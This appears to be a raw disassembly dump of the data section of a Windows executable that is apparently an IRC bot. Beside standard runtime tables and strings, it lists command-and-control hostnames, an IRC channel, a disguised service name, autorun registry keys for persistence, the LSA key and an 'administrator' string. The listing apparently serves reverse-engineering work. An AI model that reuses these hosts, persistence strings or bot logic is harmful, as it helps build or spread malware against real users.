mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E56: ; DATA XREF: sub_4265D0o
mov eax, offset dword_4280CC
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E68: ; DATA XREF: sub_426618o
mov eax, offset dword_4280F0
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E7A: ; DATA XREF: sub_42669Ao
mov eax, offset dword_428150
jmp loc_41C91F
; ---------------------------------------------------------------------------
dd 5Fh dup(0)
dd 25C0000h, 25D0000h, 25E0000h, 25E0704h, 25F0000h, 25F0AB1h
dd 25F0AF1h, 2600000h, 26000ACh, 2610000h, 26107F5h, 2610C10h
dd 2620000h, 26207F1h, 2620AD0h
dword_42703C dd 2620ADDh ; DATA XREF: ___:004231D9r
dd 2620B6Eh, 2620E12h, 2630000h, 26301ACh, 2640000h, 2641042h
dd 2650000h, 26503FFh, 2650949h, 77E75CB5h
dword_427068 dd 26509C6h ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
dd 2650CA5h, 2660000h, 2660AB7h
dword_427078 dd 2660F2Dh ; DATA XREF: sub_40111D+29r
; sub_401ACD+318Br ...
dword_42707C dd 2670000h ; DATA XREF: ___:004015E2r
; sub_410CD5+32r
dd 2670237h
dword_427084 dd 267032Dh ; DATA XREF: sub_4196BC+B9r
dd 2670864h
dword_42708C dd 2670897h ; DATA XREF: sub_410FF8:loc_411089r
dword_427090 dd 267090Ah ; DATA XREF: ___:loc_4013DCr
dd 2670C81h, 2670DABh
dword_42709C dd 2680000h ; DATA XREF: sub_409B12+2r
dd 268016Ch, 2680239h
dword_4270A8 dd 2680865h ; DATA XREF: ___:0040124Dr
; sub_41A4D1+8Cr
dword_4270AC dd 268090Dh ; DATA XREF: sub_410CD5:loc_410DC1r
dd 2690000h, 2690C1Dh
dword_4270B8 dd 26A0000h ; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC dd 26A036Bh ; DATA XREF: sub_409B12+11r
; sub_416F1A+60r ...
dd 26B0000h, 26C0000h, 26C056Ah, 26D0000h, 77F7E300h, 77F7E21Fh
dd 26D0547h, 26E0000h, 26F0000h, 26F0929h
dword_4270E8 dd 2700000h ; DATA XREF: sub_410FF8+Br
dword_4270EC dd 27008BBh ; DATA XREF: sub_418293+36r
dd 2700B64h, 2710000h
dword_4270F8 dd 2710628h ; DATA XREF: sub_410F1F+3Ar
; sub_419C64+79r
dword_4270FC dd 2720000h ; DATA XREF: sub_410E26+23r
; sub_419C64+3Br
dd 2721566h, 2730000h, 2730CD7h, 2740000h, 274077Fh, 2750000h
dd 2760000h, 2770000h, 2770B7Eh, 2770E2Ah, 2780000h, 278019Bh
dd 27809D6h, 2790000h, 279051Eh
dword_42713C dd 27907D5h ; DATA XREF: sub_416F1A+BCr
dd 27A0000h
dword_427144 dd 27B0000h ; DATA XREF: sub_4170EC+21r
; sub_417275+4Ar
dword_427148 dd 27B0B29h ; DATA XREF: sub_4170EC+10r
; sub_417275+40r ...
dd 27B0B8Dh
dword_427150 dd 27C0000h ; DATA XREF: sub_417275+56r
dd 27C0247h, 27D0000h, 27E0000h, 27E0622h, 27E0BF8h, 27F0000h
dd 27F0152h, 27F0757h, 2800000h, 2810000h
dword_42717C dd 28110D0h ; DATA XREF: sub_418B58+13r
; ___:0042324Er ...
dword_427180 dd 2820000h ; DATA XREF: sub_418C2A+Fr
; sub_41D834+54r ...
dd 282104Fh, 28214F2h, 2821A06h, 2830000h, 2840000h, 2850000h
dd 28520FAh, 2860000h, 2870000h, 2880000h, 2881C7Bh, 2881CA8h
dd 2890000h, 2890CC9h, 28A0000h
dword_4271C0 dd 28A06D0h ; DATA XREF: sub_41DEA2+240r
dword_4271C4 dd 28A080Ch ; DATA XREF: sub_41E976:loc_41E9A7r
dd 28A0947h, 28B0000h, 28B070Eh, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
dd 71AB1746h, 71AB3E5Dh
dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 0
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co
; sub_401ACD+356Co ...
align 10h
aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co
; sub_401ACD+38D2o ...
align 4
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr
dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r
dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr
; sub_40D4B0r ...
align 10h
dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r
dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do
; sub_40D560+5Bo ...
flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r
dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r
; ___:004166D1r ...
dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r
dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r
dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r
; sub_417ADD+3A7r
dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r
dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br
; sub_417ADD+2D5r ...
dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r
dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr
; sub_417ADD+138r ...
dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r
; sub_417ADD+308r
dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r
dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br
flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r
flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr
flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r
flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r
dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr
; sub_41C7BF+6Cr ...
dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
align 4
byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43C514o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co
dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr
; sub_42135F+ACr ...
dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr
dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o
align 4
dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o
dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o
dd offset loc_42224A
align 8
dd offset sub_422228
dd offset sub_422232
dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o
dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o
dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o
dd offset loc_4225AD
align 10h
dd offset loc_422599
dd offset loc_42259D
dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o
dd offset loc_422603
align 8
dd offset loc_4225EF
dd offset loc_4225F3
dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o
; sub_423CEC+39o ...
dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
; DATA XREF: sub_422ACA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
align 10h
asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
align 10h
dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo
align 10h
dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
; DATA XREF: sub_425F03+5o
dd 427E2Ch
off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o
; sub_4264FE+2Co ...
dd offset sub_4264D5
dd offset sub_4266F6
dd offset dword_427E78
off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao
; sub_426568o ...
dd offset sub_4264D5
dd offset loc_426732
dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o
; sub_4265D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o
dd offset dword_427EC4
off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o
; sub_42669A+37o ...
dd offset sub_4264D5
dd offset loc_426714
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o
dd offset dword_427F08
off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o
; ___:off_43D084o ...
dd offset dword_427F38
off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o
; sub_42686C+8o ...
dd offset sub_4268CC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
align 10h
dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo
dd 3, 19930520h, 2 dup(0)
dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
; DATA XREF: sub_426988+5o
dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
; DATA XREF: sub_426C13+5o
dd 43D084h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o
; ___:00427E5Co ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co
dd 2, 427E10h, 3 dup(0)
dd offset off_43D09C
dd offset dword_427E18+4
off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E40
dd offset off_427DF8
dd offset dword_427DC8+18h
dd 0
db 0 ; DATA XREF: ___:00427E88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427E58h
dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o
dd offset off_43D0BC
dd offset unk_427E68
off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E8C
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o
dd 3, 427EA4h
dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o
dd offset off_43D0DC
dd offset dword_427EB0+4
off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427ED8
dd 0
db 0 ; DATA XREF: ___:00427F18o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427EF0h
dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o
dd offset off_43D100
dd offset unk_427EF8
dd offset dword_427DC8+18h
dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o
dd 1, 427F1Ch
dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co
dd offset off_43D084
dd offset dword_427F20+8
align 10h
dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o
dd 0FFFFFFFFh, 426DE0h, 0
dd offset sub_426DD8
dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o
dd 0FFFFFFFFh, 426E04h, 0
dd offset loc_426E0C
dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FF8h, 4 dup(0)
; ---------------------------------------------------------------------------
retf 40D7h
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 426E2Ah
dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o
dd offset off_43D084
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42686Ch, 0
dd offset off_43D09C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426618h, 0
dd offset off_43D0BC
align 10h
dd 0FFFFFFFFh, 0
dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co
dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo
; sub_4266F6+4Bo
dd offset sub_426568
dd 0
dd offset dword_428078+8
dd 0FFFFFFFFh, 426E3Ch
dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o
dd 0FFFFFFFFh, 426E4Eh
dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o
dd 0FFFFFFFFh, 426E60h
dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o
dd offset off_43D0DC
align 8
dd 0FFFFFFFFh, 0
dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o
dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo
; sub_4266F6+2Do
dd offset sub_426677
dd 0
dd offset dword_428120+8
dd 0FFFFFFFFh, 426E72h
dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao
dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o
dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo
dd offset sub_4264BA
dd 0
dd offset dword_42816C
dd 5 dup(4B4EBF76h), 5 dup(290E2EF5h), 5 dup(3948FE06h)
dd 7Ah dup(0)
dd 3948FE06h, 0
dd 4B4EBF76h, 15h dup(0)
dd 290E2EF5h, 2FCh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o
dd offset loc_401205
dd offset sub_40D878
dd offset sub_40D89A
dd offset dword_40E504+1CFh
dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo
dword_429018 dd 0 ; DATA XREF: ___:0041B794o
dd offset sub_41D052
dd offset sub_42026D
dd offset sub_423936
dd offset word_424752
dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo
dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o
dd offset sub_4239DB
dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o
dd offset byte_424763
dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br
dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r
; sub_40BACD+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r
; sub_40BACD:loc_40BEBEr
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_418359+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r
; sub_401ACD+B4Br ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar
; sub_40ACB5+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_4044A0o ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo
; sub_401ACD+7EAAo
align 10h
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
align 4
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aAber_ircqforum db 'aber.ircqforum.com',0
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_429108 db 77h ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 69h, 6Eh, 64h
dd 72657373h, 652E6376h, 6578h
dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
align 4
asc_42913C: ; DATA XREF: ___:0040AD34o
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o
align 4
aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o
; sub_401ACD+303Fo ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o
; sub_401ACD+4216o
align 10h
off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo
; "*@admin.com"
off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
; sub_401ACD+7E4Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
; sub_41A19D+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
; sub_41A19D+D4o
align 4
dd offset aAdministrato_0 ; "administrator"
dd 0
dd offset dword_43D128
dd offset aAdministrato_0 ; "administrator"
align 10h
